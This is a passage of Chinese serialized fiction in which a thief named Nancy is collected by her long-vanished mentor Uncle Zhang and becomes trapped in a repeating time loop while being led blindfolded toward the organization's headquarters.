其实昨天后半夜,当传真机突然吐出总部的批准函时,他第一反应不是高兴,而是莫名的心惊肉跳。他这人,大半辈子过得稀里糊涂,对很多事都后知后觉,很少有什么强烈的预感,可那一刻,他看着那几行冰冷的打印字体,一股从未有过的寒意突然攥住了他的心脏,让他几乎喘不过气。 所以,他本能地想把那张纸藏起来,甚至想过干脆撕了,假装从来没收到过。可今天一早,他在早间新闻里,一眼就认出了挂在百米高空、命悬一线的南希,刹那间,他心里所有的犹豫和侥幸都被击碎了。 他想,这孩子肯定是遇到天大的麻烦了,否则,她怎么会突然要申请去那个神秘又吓人的总部?瞒着她批准函的事,说不定,反而会把她推向更危险的境地。 于是,刘总坐立不安了一整个早上,给南希打了五个电话,抽掉了半包烟,直到手表上的指针逼近最后时限,他才像上刑场一样,再次拨通了她的号码。 当听到“嘀嘀嘀”而不再是“您拨打的电话已关机”时,他的手都是抖的,他既盼着南希接,又隐隐盼着她别接,让这件事、这个时间点,就这样错过…… 可电话通了。 也许,这就是她命里该有的劫数。 躲不过,避不开。 “地址,我没法告诉你,”刘总重新开口,恢复了往日的腔调,“小张,你觉得,就咱总部的行事风格,会把具体地址告诉我,然后再让我转告你吗?上头只传下话,说会派高层领导亲自来接你,时间是……”他不自然地咳嗽了一下,“今天上午,嗯,十点。” 南希抬起眼。 墙上的挂钟显示着一个大概的时间:九点五十八。 她禁不住笑了:“哦,十点啊?这倒是破天荒头一遭,总部那边一向喜欢在深更半夜活动,这大白天露脸,太阳打西边出来了?不过嘛,刘总,”她话锋一转,“你好好看看表,现在几点了呀?这时间点卡得诶,啧啧,我都忍不住要怀疑,你是不是本来不想跟我说这事儿?” 对面传来“噗”的一声,紧接着是一阵剧烈的咳嗽,和手忙脚乱拍打什么的声音:“咳咳……小张,你,你胡扯什么呢!我为什么不想跟你说?这对我有什么好处?啊?你说对我有什么好处?!” 南希真的偏头想了想,几秒钟后,她才对着话筒,用无辜的语气说:“也是,你没理由,也没必要。不过……”她拖长了语调,“刘总,现在离十点只剩两分钟,我就算变成孙悟空,也飞不过去啊。你说的那位组织高层领导,脾气怎么样?能等人吗?” 刘总的咳嗽声终于平息,声音也恢复了正常:“小张,别急,你还没问,你们的见面地点在哪儿呢。” 南希又想笑了。 地点?现在问地点还有意义吗? 两分钟,她从床上爬起来穿好衣服都勉强。 但她还是顺着刘总的话问了下去,就像在逗人玩:“那——我尊敬的刘总,请问,接头地点,安排在哪个秘密据点啊?” 刘总的声音,透过电流,一字一顿地传来: “就、在、你、家。” 南希睁大了眼。 霎时,周围所有的一切仿佛都静止了,只剩下墙上的挂钟还在有规律地转动: 滴答。 滴答。 滴答。 然后,南希听见了三下敲门声: 咚咚咚。 她斜眼看向挂钟。 秒针正朝着12滑过最后几格刻度,即将与分针会合。 时针正中地指着数字10。 十点整。 第70章 张叔 南希咽了口唾沫。 摩托罗拉依然贴着耳朵。 另一头,刘总好像察觉到了她的紧张,忙问:“怎么了?” “刘总,”南希听见自己的声音像从很远的地方飘来,“十点了。” 然后,她直接挂断了电话。 敲门声没再继续。 但南希知道,外面的人没走。 她做了三次深呼吸,缓慢地走到门口,手一点点触上冰凉的门把手。 “谁?”她问。 外面静了一秒,然后传来一道瓮声瓮气的男声: “小希。” 这个声音…… 南希怔住了。 心跳在那一瞬间不是加速,而是停了一拍,接着便像脱缰的野马般,在胸腔里横冲直撞。她手下用力,门锁发出“咔哒”一声轻响,门“吱吱”的开了。 一个男人站在昏暗的走廊里。 毛寸白发,高,瘦,打眼一看,像一棵挺拔的松树。 他穿一件深灰色西装,脸上有皱纹,但并不显老,反而添了几分岁月沉淀的故事感。 他鼻子很高,嘴唇很薄,但最特别的是那双眼睛,眼窝微微凹陷,眸子近乎纯黑,看过去时,只能看到一片平静的幽深,什么情绪也打捞不上来。 南希像是被抽走了魂,嘴巴下意识张开,两个字从喉咙里滚出来: “张,叔……” 对,眼前这个人是张叔。 那个收留她,带她进组织,教她学本领,让她吃饱穿暖的张叔;也是那个在她终于通过所有考核,正式“入行”的第二天时,从她生活中彻底消失的,张叔。 那天,他突然就不见了。没有告别,没有留言,连他常穿的那件旧西装都从挂钩上消失了。 南希找了他整整八个月,用尽了她能想到的所有方法,甚至动用了组织里不该动用的浅层关系,最后只能面对一个冰冷的事实:张叔不想被找到,那么她就绝对找不到。对接人刘总就是那时候出现的,带着新的任务和充满危险的生活节奏,让她在不断的紧绷与释放中,渐渐学会了不再寻找,不再追问,不再期待。 她以为这辈子就这样了,在任务的间隙里偶尔想起张叔,就像想起一段老电影。 她没想到会再见到他,更没想到,会是以现在这样一种方式…… 想到这,她突然恍悟了。 迟钝,南希,你太迟钝了。 张叔是组织的高层领导,这点她早就从诸多细节里拼凑出来了。而那个能领她去总部的人,除了他,还能有更合适的人选吗? 她打去总部的申请,就像是一把钥匙,只需轻轻转动,便能开启“见到张叔”的那扇门。 她突然觉得有点好笑,就这么简单,如果她以前再大胆一点,早些发现这把钥匙,她可能就不用难过那么久了…… “小希,”张叔开口了,声音还是那样,不高不低,“怎么,看到我很惊讶?” 南希猛地回过神,这才意识到自己失态了。她迅速整理好情绪,又变回了那个看上去潇洒不羁、好像什么都不在乎的南希。 “张叔,”她语气轻快,“我当然很惊讶,毕竟咱们这么多年没见了,我还以为您老人家早就金盆洗手,种花养鸟去了呢。” “是啊,多少年了?”张叔抬起眼,目光有些飘忽,像是在努力回忆。 但南希太了解他了,他其实什么都记得清清楚楚,连细节都不会记错,可他还是装模作样地摇了摇头:“哎呀,脑子不好了,真是太久了……”他眯眼笑起来,“你看啊,小希,都这么多年没见了,你就让张叔在门口站着?不邀请我进去坐坐吗?” “哦,瞧我,”南希立刻侧身,手臂划出一个邀请弧线,“这都忘了礼数了!主要是您这‘惊喜’太大,把我给惊着了。张叔,请进,寒舍简陋,别嫌弃。” 她尽力让自己放松下来,但熟悉她的人一眼就能看出破绽。 她很紧张,她自己知道。 而张叔那双眼睛,更不可能瞧不出来。 眼前,张叔抬脚跨过了门槛,他动作很轻,几乎没发出什么声音,这是多年训练留下的本能。进门时,他的目光迅速扫过了整个房间,然后感叹道:“哦呀,不错嘛,很温馨。” 他的目光落在沙发上一排粉红色的靠垫上,又移向窗台上那盆开着粉红小花的植物,最后定格在墙上——那里贴着一张电影海报,《大话西游》,朱茵扮演的紫霞仙子穿着粉红色纱衣,笑得很明媚。 张叔回过头,笑着对南希,可那笑意不达眼底:“就是,我怎么不知道,小希你这样男孩子的性格,内心竟然会喜欢粉红色。” 南希反手带上门,瘪了瘪嘴:“怎么?张叔,喜欢粉红色犯法啊?还有,我是女孩子。” 张叔继续笑着,眼睛弯成了月牙形:“好好好!”他上下打量南希,“嗯,确实比以前像女孩子了。女大十八变,越变越好看,这要是在大街上碰上,我都不敢认你。” 南希示意张叔坐到沙发上,自己也坐了下去。 “大街上碰上?”她冷笑一声,“张叔你是不是想多了?咱俩怎么可能在大街上碰上?” 言外之意再明显不过:我找了你那么久,整个南方都快被我踏破了,要是能碰上早就碰上了。 张叔脸上的笑容淡了些。 他叹了口气:“小希,你这是怪我当初不告而别吗?” “嗯……”南希琢磨了一会儿,表情认真起来,“不怪。” 张叔摇摇头:“逞强。” 她愣了下,然后竟笑了,而且还找回了一些久违的放松感:“张叔,我还真不怪你,要不是你当初的离开,我现在大概还跟在你身边做一个听话的跟屁虫,就不会经历那么多有趣的事,碰到那么多有趣的人。” 张叔的身体微微前倾,手肘撑在膝盖上。 这个姿势南希太熟悉了,每次他要说重要的事情时,都会这样。 “有趣的人?”他问,“是那个姓温的少爷吗?” 南希耸耸肩:“哈,张叔,看来你知道的还真不少。” 张叔:“今早的新闻都爆炸了,我在电视上看到了你和他的照片。”他顿了顿,“我也知道,你之前完成的蓝宝石任务,那块蓝宝石,本来在他的眼睛里。” 南希啧了一声:“张叔,你还真是组织的高层领导呢,啥秘密都清楚。” 她双腿叉开,胳膊肘撑着茶几,手指交叉撑住下巴。 “那么张叔,你是不是也知道,我为什么会申请去总部看看?” 张叔摊开手,摇了摇头:“小希,这我怎么知道?我又不是你肚子里的蛔虫。” 南希盯着他。 他的眼睛还是那样,眯着,藏着无数秘密。这些年他好像没什么变化,除了脸上的褶子稍微多了那么一点点,白发更明显了些。 但是,感觉变了。 南希能清晰地感觉到,坐在对面的不再是她可以无条件信赖的张叔,而是一个代表组织的“高层领导”。 这些年她从一次次任务中,从各种零散的线索里,推测出一个可能的真相:张叔在组织里的角色,是“培养者”。他专门寻找那些无依无靠、有潜力的人,比如失忆的她,然后训练他们,打磨他们,直到他们能够独立执行任务,再然后,他会在某个深夜,悄无声息地离开,继续前往寻找下一个“培养对象”。 所以她对他而言,也许从来都不是特殊的,只是无数个“作品”中的一个,完成了,验收合格了,就该摆上货架等待出售了。 她不傻,哪怕心底某个角落还残留着对眼前这个人的感情,她也不会再像以前那样,对他毫无保留。 南希也眯起眼,学着张叔的样子,让笑意只停留在嘴角: “这样呀,那我告诉你吧,张叔。我去总部,就是为了那块蓝宝石,我想去把它偷出来。” 这句话后,张叔脸上的笑容终于出现了一丝裂痕,虽然很快又被缝合了。 “小希,都这么大了还闹,我知道你在跟我开玩笑。” 南希“噗嗤”一声笑出来,笑得前仰后合,甚至夸张地拍了拍大腿: “哈哈哈,那肯定是玩笑啊!我怎么敢去一个养着很多‘神偷’的组织老巢偷东西呢?”她站起身,“好了张叔,咱俩之后再慢慢叙旧,现在先办正事吧。嗯……总部的位置在哪?快带我去呀,我都迫不及待了呢!” 张叔也站起身,语气平稳:“好的,小希,不过总部位置隐秘,去之前,我需要在你眼上蒙上一块黑布。接下来的路,我会拉着你走。你放心,我不会让你遇到危险。” 南希本能地想拒绝。 让一个多年未见的人蒙住她的眼睛,然后带她去未知的地方? 这简直是把命交到“危险”手里。 但她想了想,自己好像根本没得选。 向总部提出申请,就意味着要接受组织的任何安排,这是规矩。 她看似爽快地点了点头,笑得灿烂: “好呀,我当然相信张叔你不会让我有危险。” 张叔也点了点头,从口袋里掏出一块折叠整齐的黑布,然后走到南希面前。 “小希,”他一边将黑布展开,一边说,“我来这之前,已经联系总部处理了我到你家,以及你回家以后的所有信息,没有人会知道我来过,也没有人知道咱们之后会去哪。” 黑布盖住眼睛的瞬间,世界陷入彻底的黑暗。 南希下意识屏住呼吸,她能感觉到张叔的手指在她脑后打结,动作熟练,结打得既牢固又不会太紧。 结打好后,张叔的手没有立刻离开,而是轻轻按了按她的肩膀。 然后,他的声音又传了过来。 这次听起来很奇怪,像是从很远的地方飘来的: “你准备好了吗,小希?” “准备好了,张叔。”南希闭上了眼睛。《 》 70-80 第71章 循环 南希闭着眼在黑暗中走着。 之所以闭上眼,是这样她感受到的光线更少,能把更多的精力放在听觉、嗅觉和触觉上。 她听着周围声音的变化。起初是室内特有的空洞回响,接着是下楼的脚步声,哒哒哒…… 一级,两级……在她数到十七级台阶时拐了弯,然后又是十七级。 单元门的铁铰链发出尖锐的“吱呀”声,这是这个时代楼房的通病,上油也解决不了。然后她走出了楼道,踏入室外,空气立刻不同了。 她闻着周围气味的变化。炒菜的油烟味从某扇窗户飘出,是大火爆炒的焦香,接着是垃圾桶的酸臭,再走几步就是小卖部的酱油味,很香很浓…… 这些气味像不同颜色的线,在她脑子里编织出一张模糊的地图。 走着走着,脚底下的感觉变了,从水泥路面变成了碎石子,硌得脚有些发麻。她知道,这是小区楼后的那条近道。去年街道办说要铺水泥,可到现在还是石子路。 然后,她跟着张叔进入一条窄巷,声音骤然嘈杂起来:孩子的哭闹声,夫妻的吵架声,收音机里单田芳的评书《白眉大侠》,远处还有卡拉OK厅飘来的跑调歌声…… 她感受着一切,好尽可能对要去的地方有一个大概的判断。 她以目前的路线轨迹推断,张叔要带她去的方向应该是东边。 可是,她家已经够往东了,这是要走下去,就到郊区了。 难道总部在济东,还在郊区? 她的脑子里迅速闪过十几个可能的地点,每个都配有详细的建筑平面图,这是她干“神偷”这份工作所必备的技能。 不过,慢慢的,她的判断变模糊了,因为路程实在太长了。 她感觉自己一直左拐右拐,一直走一直走,周围时而香时而没有味道,时而嘈杂时而又安静,完全没有规律可言。比如说,刚才她还听见自行车的铃铛声,转眼就只剩风声了。这些感觉碎片无法拼凑,就像有人故意把地图撕碎,再随机抛洒似的。 心有些慌,还有,腿好酸,好累。 她忍不住问道:“张叔,还有多久到呢?” 这略略气喘的声音在黑暗里显得特别响,把南希自己都吓了一跳。 而张叔的声音一如既往的平稳:“快了,快了。” 一般当有人回答“快了,快了”时,说明还早着。 南希把这种回答一律视为敷衍,她不想再沉默,不想再任张叔摆布,她刚才这一路已经够守组织的规矩了,而且,她真得很奇怪,她便再次问道:“张叔啊,既然总部这么远,咱们为什么不坐车?难不成你想带我走着去总部?” 问题抛出去,像水滴滴进大海,没有回音。 而张叔牵着她继续走着,步伐没变,节奏没变,连呼吸都没变。 南希知道他不想回答,便没再追问,她不喜欢自讨没趣。 他们就这样走啊,走啊,走啊,不知道走了多久,南希觉得自己的意识在一点点扩散,好像走路变成了她的一个本能的反应。她就像一个上了发条的玩偶,只要发条不停,她就会一直走一直走,永远走下去…… 可是,玩偶…… 玩偶?! 突然,一根像针一样的念头,猛地刺进了她混沌的意识,她整个人一个激灵,然后顿住了。 怎么回事?她不是玩偶,她是人啊! 活生生的人啊! 她使劲摇了摇头,终于摇掉了满脑子的混沌。 她拒绝再这样莫名其妙地走下去! 她受够了! 她猛一挥手,扯掉了眼上的黑布。 动作太大,指甲划过了额头,火辣辣的疼,但她顾不上这个。一阵明光“唰”的冲破黑暗,席卷而来。 她本能地闭上眼睛,又强迫自己睁开,泪水瞬间涌出,模糊了视线。 然后—— 滴答。 滴答。 滴答…… 这是…… 钟表走动的声音? 她还没来得及确认,下一妙,明光散尽,她的视线先是模糊一片,然后很快清晰。 她发现自己依然站在自己家的客厅里。 而她的目光落在墙上,挂钟的时针正指着10,秒针正稳步滑向12,要与分针汇合。 十点整。 南希蹬圆了眼睛。 这个场景…… 突然,耳边的摩托罗拉传来了刘总焦急的声音:“怎么了?” 脊背发凉,鸡皮疙瘩从后颈一路爬到了胳膊。 这个场景,她才经历过…… 连刘总的问话内容,问话语气都和之前一模一样! “到底怎么了,小张,你别不说话啊。”刘总没收到南希的回复,感觉到了电话那头的不对劲,声音更急了。 南希张了张嘴,喉咙发干。 “刘总,”她好不容易挤出这俩字,听见自己的声音像从很远的地方飘来,“咱们,咱们这段对话,是不是刚刚发生过?” 电话那头沉默了大概两秒。 然后刘总莫名其妙地说:“什么东西?我没明白……诶呀,小张啊,十点了,那位领导是不是已经到了?” 南希本来还想问刘总今天是几月几号,可听完这段话后,她知道已经没有问的必要了。 她捏了一把自己的大腿。 疼。 很疼。 所以,这不是梦。 她深吸一口气,强迫自己冷静下来,努力用科学理性的方法来分析现在的状况。 如果现在不是梦,那么刚才发生的事可能就是梦。 虽然那个梦每个细节都很清晰,还准确地预测到了未来……不过,这种情况好像也是有道理的: 比如,预知梦,既视感,或者,大脑皮层异常造成的记忆错乱…… 但不管是哪种情况,肯定是科学合理的,肯定是! 她拍了拍脸,试图让自己能够理解,然后她做了个决定,她要去验证这个“梦”。 她对着话筒回:“嗯,应该是来了,先挂了,刘总。” 说完,她模仿着“梦”里的动作走到门边,把手放到门把手上,隔着门问:“谁?” 门外很快传来一道瓮声瓮气的男声:“小希。” 一样的问话,一样的回答。 果然,跟“梦”里一模一样。 南希拧下门把手,拉开门,看到了站在门外的张叔。 “小希,好久不见。”张叔笑着跟她打了个招呼。 “张叔?!”南希回笑,“还真是好久不见呢!”她侧身做了一个邀请的姿势:“您别在外面站着了,快进来坐吧。” 张叔点点头,走进屋,自然地参观屋内的粉色布置,然后回过头,对南希露出一个不达眼底的假笑:“哦呀,不错嘛,小屋很温馨。就是,我怎么不知道,小希你这样男孩子的性格,内心竟然会喜欢粉红色。” 南希按记忆里的台词回:“怎么?张叔,喜欢粉红色犯法啊?还有,我是女孩子。” “好好好!”他上下打量南希,“嗯,确实比以前像女孩子了。女大十八变,越变越好看,这要是在大街上碰上,我都不敢认你。” 对话一字不差,连张叔说“更像女孩了”时那个微微停顿的节奏都一样。 很快,南希依照“梦”中记忆,有条不稳地把所有环节推进到了最后——系黑眼罩。 张叔站起来,走到她身后,轻柔地把黑眼罩蒙到她脸上,轻柔地在她后脑打了个不松不紧的结,然后又轻柔地按了按她的肩膀,像长辈在安抚孩子那样。 “你准备好了吗,小希?”他问,声音也轻柔。 “准备好了,张叔。”南希回答。 然后她闭上了眼睛,跟着张叔走,再次下楼,左拐右拐,再次走了很久很久,只不过这一次,她不再尝试记住路线,而是更专注于感受重复。 每一步都似曾相识,每一处变化都像是回声。 慢慢的,她的步伐也再次陷入机械似的状态:脚步声,呼吸声,心跳声,三者逐渐同步,形成了一个诡异的节奏。 紧张感也在这期间一点点回归,同时还掺杂了一种浓郁的不祥预感。 这……不会又是一个“梦”吧? 梦中梦? 南希咽了口唾沫,决定再问一次之前的问题,虽然她知道可能没有答案。 “张叔,总部到底在哪儿?这么远的话为什么不坐车?” 张叔果然没有回答,他的手牵着南希手腕,像一个活的手铐。 那种不祥感登时被无限放大,南希感觉自己的皮肤在收紧,小腹在发冷,她想起小时候听过的鬼故事,关于人走在夜路上,永远走不到头的故事。那时候她觉得荒诞,现在她只觉得,可能那些讲故事的人也经历过类似的事。 她本来就怕鬼,于是,她再也受不了,挥手摘掉了眼罩,动作比上次更快,更决绝,仿佛这个动作能斩断什么似的。 登时,强光刺来,眼前的黑暗被一片明亮覆盖。 她下意识闭眼又睁开,泪水再次涌了出来。 滴答。 滴答。 滴答。 挂钟的声音…… 视线先是模糊,然后聚焦在挂钟上——差两分十点。 秒针正滑向12,不急不缓。 听筒那头还是刘总焦急的询问。 而南希只感觉到冷。 浑身的血液像被冻住了,冷汗顺着额角直往下滑。 总不会真是梦中梦吧? 就这么巧? 她不信邪,又一次重复了整个过程。 挂断电话,开门,让张叔进屋,坐在沙发上谈话,戴眼罩,出门,走那条漫长的路,最后在某个时刻扯掉眼罩。 然后,她又又又一次回到了起点。 这样的循环重复了三次后——或者说,她感觉是三次,因为她的时间感已经彻底混乱——她已经分不清什么是真实,什么是虚假。 如果说,她一开始的经历是“梦”,后面的是梦中梦,那么再后面的,再再后面的是什么?! 梦中梦的梦中梦?! 到底套了多少层?! 这不合理!也不科学!这在现实世界里就不可能存在!!! 冷汗已经湿透她的里层衣服,纯棉秋衣贴在背上,凉飕飕的。 眼前世界旋转起来,钟表,沙发,地板,粉红色靠垫……所有的一切都在加速转动,像被一只无形的手搅动着一样。 她脚下发软,一个站不稳,身体向旁边歪去。 就在要摔倒的瞬间,身体的反应快过了意识,左手猛地撑住一旁的桌子,五指张开,死死地按住了桌面。 训练有素的肌肉记忆救了场,她没倒下去,只是半弯着腰,大口喘着粗气。 现在这种状况,她已经完全没法再用科学道理来解释,心里那份不祥感终于浮出水面,赤裸裸的,不容回避: 她在不停地回到过去!就像是掉进了一个循环的圈里,出不来了! “小张!小张你说话!别吓我啊!”听筒里,刘总的声音已经近乎吼叫,还夹杂着拍桌子的响声,“我这就过去!你等着啊!” 南希这才听见那声音,耳膜很疼,应该是早就快被刘总的大嗓门震破了。 她把手机拿远了一点,长长地、深深地舒了一口气,然后用袖子抹了把头上的冷汗。 “刘总,我没事。十点了,组织的领导来了,先挂了。” “别挂!组织的领导到了又怎么样?你到底怎么了?我不放——” 嘟—— 南希按下了挂断键,把刘总嗡嗡嗡的声音硬堵在了听筒里。 世界瞬间安静,只剩下挂钟的滴答声,一下,一下,敲在神经上。 她看着黑白手机屏幕,看了两秒,然后果断转身,快步走到门口。 之前经历的几次循环,她抱着这是“梦”的幻想,都在尽量还原第一次的场景。但这一次,她决定改变,如果一样的情况会被循环,那么事情改变了,会不会打破循环呢? 她伸手扶住门把手,没有问“谁”,直接拧了下去。 “砰”的一声,门开了。 门外的张叔被她气势汹汹的动作吓了一跳,不禁后退了半步。 等稳下来后,他看到南希紧紧扶着把手,指节发白,脸色发黑,眼里有血丝,这种并不是一种友好的状态。 他不知道南希发生了什么,但职业本能让他迅速调整好表情,笑着说: “小希,好久不见。” 又是那个标准的开场白。 南希冷笑一声,声音从牙缝里挤出来:“好久不见?张叔,刚才,我们明明已经见过好几次了。” 张叔的笑容僵了,他微微皱起眉头。 “什么好几次?”声音里满是不解,“小希,我不懂你在说什么。” 南希抱起双臂,身体斜倚在门框上,冷冷地盯着他。 自从她见到张叔后,一切就开始进入循环状态,所以这肯定跟张叔有关,他绝对不可能什么都不知道。 既然已经这么诡异了,她也不打算再按常理去琢磨这件事。 破罐子破摔吧,还能比现在的情况更糟吗? “张叔,别装了。”她声音平静,“循环的事我都知道了。” 张叔歪了歪头,似乎更不解了。 他眯着眼睛上下打量南希,像在看一个陌生人,那眼神里有疑惑,有关切,还有一丝警惕。 “小希,”他缓缓地说,每个字都斟酌着,“你,是不是做梦了?” 南希看着他表演,心里隐隐发毛。 “哦,对,梦。”她点点头,语气讽刺,“一开始我也这样认为。可是张叔,这个世界上怎么会有这种梦?每个细节都对得上,每句话都一样,连你眼角皱纹怎么动的我都记得。张叔,虽然这很荒唐,我也不敢相信,但是——”她向前走了一步,逼近他,“你到底做了什么?!” 最后一句话几乎是低吼出来的。 张叔愣在那里,一动不动。 他看着她,嘴巴微微张开,好像想说什么,又说不出来,这种震惊的表情持续了大概五秒——南希在心里默数,一、二、三、四、五——然后,他的喉结动了。 “小希,你看啊,咱们都这么多年没见了,你就打算让我一直在门外站着吗?” 南希的眼角抽搐了一下。 这句话实在太熟悉了,之前几次循环里,张叔也说过类似的话,他这是想刻意矫正事情,把她重新带进循环的轨道吗? 她偏不让他成功! 她要全部摊牌,如果这是组织的游戏,她不想再玩下去了! “张叔,我不明白都到这时候了,你为什么还要跟我装糊涂。首先,我说了,咱们刚刚见过,我邀请你去我家好几次了。到我家后,你会左右看看,说我这样男孩子的性格,竟然会喜欢粉红色。然后我会回你喜欢粉红色犯法吗?然后你会回应我确实更像女孩了,女大十八变,越变越好看,我现在的样子你要是在大街上遇到,都不敢认。然后我们会谈到温雪生,谈到蓝宝石,最后你会给我戴上黑眼罩,带我走着去总部。” 她顿了顿,喘了口气,盯着他的眼睛。 “张叔,我没说错吧?够详细了吧?”她的声音在发抖,但努力控制着,“所以,你还要装到什么时候?!” 这些话一气呵成,冲击力巨大。 张叔脸上再次出现了震惊的表情:瞳孔微微放大,嘴巴张开一条缝,连呼吸都停了一拍,过了好久,他才颤颤地说出一句: “小希,组织那边没收到情报,说你……病了呀……” 最后几个字说得很轻,像怕刺激到她。 南希攥紧了拳头,指甲掐进了掌心。 她几乎对张叔怒目而视,她说了那么多,都把窗户纸捅破了,没想到张叔竟然还是这种发懵的反应,竟然还把她当病人,当疯子! 她仔细观察张叔的脸,想从上面找到伪装的破绽,哪怕一丝肌肉的不自然抽动,一个眼神的闪烁。 但是她失败了。 张叔的表情里有震惊,困惑,和越来越浓的担忧,唯独没有伪装。 登时,那股不祥的感觉再次涌上了心头,而且比之前任何一次都要强烈。 南希慢慢松开了拳头。 手指因为刚刚攥得太紧,有些发麻。 以她对张叔的了解,都到这份上了,张叔就算再爱演,也绝对不可能继续演下去,因为继续演下去已经没有任何意义。 正常来讲,如果真是他搞的鬼,他应该知道瞒不住了,要么承认,要么撕破脸。 可是他都没有。 他只是在担心她“病了”。 难道…… 一个可怕的念头钻进了脑子里。 不会…… 不会张叔真的不知道发生了什么吧? 难道刚才的循环跟张叔没有任何关系? 难道只有她在一次次循环里还保留着意识?只有她记得每一次循环,而对张叔来说,每一次都是“第一次”? 南希怔住了,说不出一句话。 她站在那里,感觉全身的力气都在流失。 冷汗又冒出来,耳朵里嗡嗡作响,挂钟的滴答声变得遥远,像从另一个世界传来。 她对面的张叔就在这时开口了。 第72章 五分钟 张叔已经收起了震惊的表情,换上了一种温和的、劝说的语气,像医生对病人说话。 “小希,你是不是太累了?我看到今早的新闻了,你最近做了很多危险的事。我不知道你为什么要申请去总部,但是我觉得,以你现在的状态,并不适合去总部。” 他注视她,眼神真诚。 “你要不要先休息一段时间,然后再考虑去总部的事?” 南希没有回答。 张叔也不急,慢慢等着,没有一点催她的意思。 挂钟在墙上“滴答滴答”地走,声音规律得让人心焦。 南希实在不知道该怎么回答。 要去总部吗? 去的话,她会被蒙上黑眼罩,踏上那条永远走不完的路。 如果不去呢? 不去会发生什么? 会再次回到这个起点吗?回到张叔进门前的那一刻,回到他的那句“好久不见”? 也许是她心里实在太纠结,脸上也就显了出来。 张叔很容易就察觉到了她的焦躁,他上前迈了一小步,说:“小希,别难为自己了,看你脸色不太好,要不我就替你做主了,你还是先休息休息再去总部吧。” 讲这话时,他的眼睛微微眯着,表情近乎慈祥,但南希却在一刹那间,捕捉到了一丝绝不该现在,出现在他脸上的情绪:他好像,压根就不想带她去总部。 这个发现让她心里“咯噔”了一下。 她想起前几次循环,张叔似乎从来没主动提过去总部的事,每次都是她先提起,他才不得不接话。 仔细想想,这很奇怪。 对于张叔这种干事雷厉风行、把“时间就是效率”常挂在嘴边的人来说,这种现象非常不对劲。 当然,对此,南希一开始并没有多想,就算想了,她也只会觉得,张叔没直接谈工作,而选择与她寒暄,是想装装样子,表现出自己对她的关心,毕竟这么多年没见了,一上来就聊正事显得太无情。 但是,她忽略了一点,张叔本来就是一个无情的人,要不他怎么会不告而别? 而且,他是组织的高层领导,又是一个合格的“培养者”。他底下有太多像南希这样的“产品”,他估计都快分不清谁是谁了。 一个每天要处理各种“产品”档案的人,没必要对其中的一个有情。 而他之所以跟她叙旧,拉近乎,伪装成一个有情的人,不提去总部的事,或许只有一个原因:他在拖延。 他在拖延带她去总部的时间,在想着从中找到可以拒绝带她去总部的方法! 南希的手指蜷缩起来。 指甲掐着掌心肉,钝痛让她的思路更清晰。 像她这种为组织立下过很多功劳的人,申请去总部看看非常合理。总部估计也是怕她背叛,或者出于想表现自己是个“公平的组织”,所以没法在明面上拒绝她的申请,只能在私底下解决。 如果不是因为蓝宝石的事,她不想继续跟张叔瞎扯,主动要求他赶紧带自己去总部,张叔怕是一定不会提到这事。 南希恍然大悟。 在经历了几次循环后,她终于看明白了,总部不想让她去。 而那个走不完的路,那些往复不断的“梦”,应该也跟这个有关。 她放在裤缝儿边的拳头攥得更紧了。 她知道自己的力量太渺小,没法跟组织抗衡,一切只能从长计议。 所以,首先,她必须彻底打破循环,回到正常的时间。 既然张叔、总部这样千方百计地阻止她,那么她就遂了他们的愿吧! 南希点了点头。 她让自己脸上的肌肉放松下来,甚至还挤出一个疲惫的笑。 “好吧,张叔,我确实太累了,身体也不太舒服。其实……其实我也不太想今天就去总部,我还没有做好准备,我现在只想好好睡一觉……” 话没说完,她就看见张叔脸上闪过一丝欣喜的表情,虽然只有零点几秒,但南希看得清清楚楚。 张叔整个人像卸下了重担似的,连声音都轻快了些:“是啊,你现在的状态的确不适合出门,改天等你休息好了,我再来接你。既然这样,我就先不打扰你了,小希,你快好好睡一觉吧。” 果然。 南希在心里冷笑,在达成目的后,张叔连演都不愿意演了。刚才那点“久别重逢想要叙旧”的感觉荡然无存,这会儿,他估计只想赶紧离开吧。 可南希可不想让他太自在,毕竟才遂了他那么一个重要的心愿。 “等等,张叔!”她连忙叫住他。 张叔刚刚侧过身,腿都迈出半步了,又回过头来,脸上重新挂上那种训练有素的假笑:“怎么了?小希?” 南希也以笑容回应,嘴角弯成恰到好处的弧度:“那个张叔,我都没有你的联系方式,等我休息好了,该怎么找你呢?” 张叔愣了一下,然后一拍大腿,只是这个动作太用力了,一眼可见的夸张。 “诶呀,小希,你瞧我这脑子,都忘了这茬了。我跟你说说我电话,8681659。” 南希很慢地重复了一遍:“8-6-8-1-6-5-9……”然后她的眼睛眯成了月牙,“这个号码是哪里的呀?该不会是总部的吧?” “怎么会是总部?”张叔摆手,“这是我家里的电话,私人号码。” 南希歪了歪头。 她还从不知道张叔有“家”,至少在她的记忆里,张叔成天跟她呆在一块,可从来没回过什么所谓的“家”,甚至提都没提过。他的世界好像只有任务、训练、和教导她如何成为更好的“产品”。 “可是张叔,”南希笑笑,声音里掺进一点小女孩般的撒娇,“你平时那么忙,打你家里的电话会不会找不到你呀?诶,对了,前不久我过生日的时候,组织送了我一部摩托罗拉。张叔,你官做得那么高,组织应该也送你了吧?” 张叔盯着她看了两秒,忽然哈哈大笑起来,笑声在空旷的楼道里回荡:“小希,你想要我手机号就直说呀,瞧这拐弯抹角的,才几年不见,就跟张叔生分了?” “我怕直接说,不礼貌嘛,”南希嘟起嘴,做足了撒娇状,心里却冷得像冰,“而且我也怕,也怕你不给我嘛……” “哈哈哈……”张叔的笑声终于有了点真实感,只不过,这更接近于一种,伎俩被看穿后的无奈。 然后他报上了一串数字:“13981085678。记住了?” “嗯,记住了。”南希在心里默念了三次,她知道这个号码未必是真的,但至少是个线索。 然后,两人随便做了个简单的、寒暄似的告别,张叔就匆匆离开了,像是一分钟都不想多待。 南希关上门,插上插销,背靠着门板缓缓滑坐到地上。 冰凉的瓷砖透过薄薄的裤子传到皮肤上,但她竟没觉得冷。 她坐了好一会儿,才站起身,回到客厅,一下子瘫倒在沙发。 在刚刚的循环里,想要坐沙发,都需要先把张叔领进门,这样重复几次后,她神经都紧张了,现在终于能放松下来了。而且看样子,时间好像也回归正常,不会再循环了,至少在下次遇到张叔前不会。 下次…… 想到这儿,她突然觉得头痛,针扎似的痛从太阳穴开始,向整个头部蔓延。 她轻轻按摩着脑袋,缓缓闭上了眼睛。 今天发生的事太多,太乱,太怪,又太急,她需要好好理顺理顺、思考思考目前存在的问题。 第一个问题,也是最要紧的一个——为什么总部不想让她去? 难道是怕她真去偷蓝宝石? 不对,这不可能。 总部于她,相当于高楼大厦和蚂蚁,怎么可能会怕她? 可除了怕,那是什么? 她想不出…… 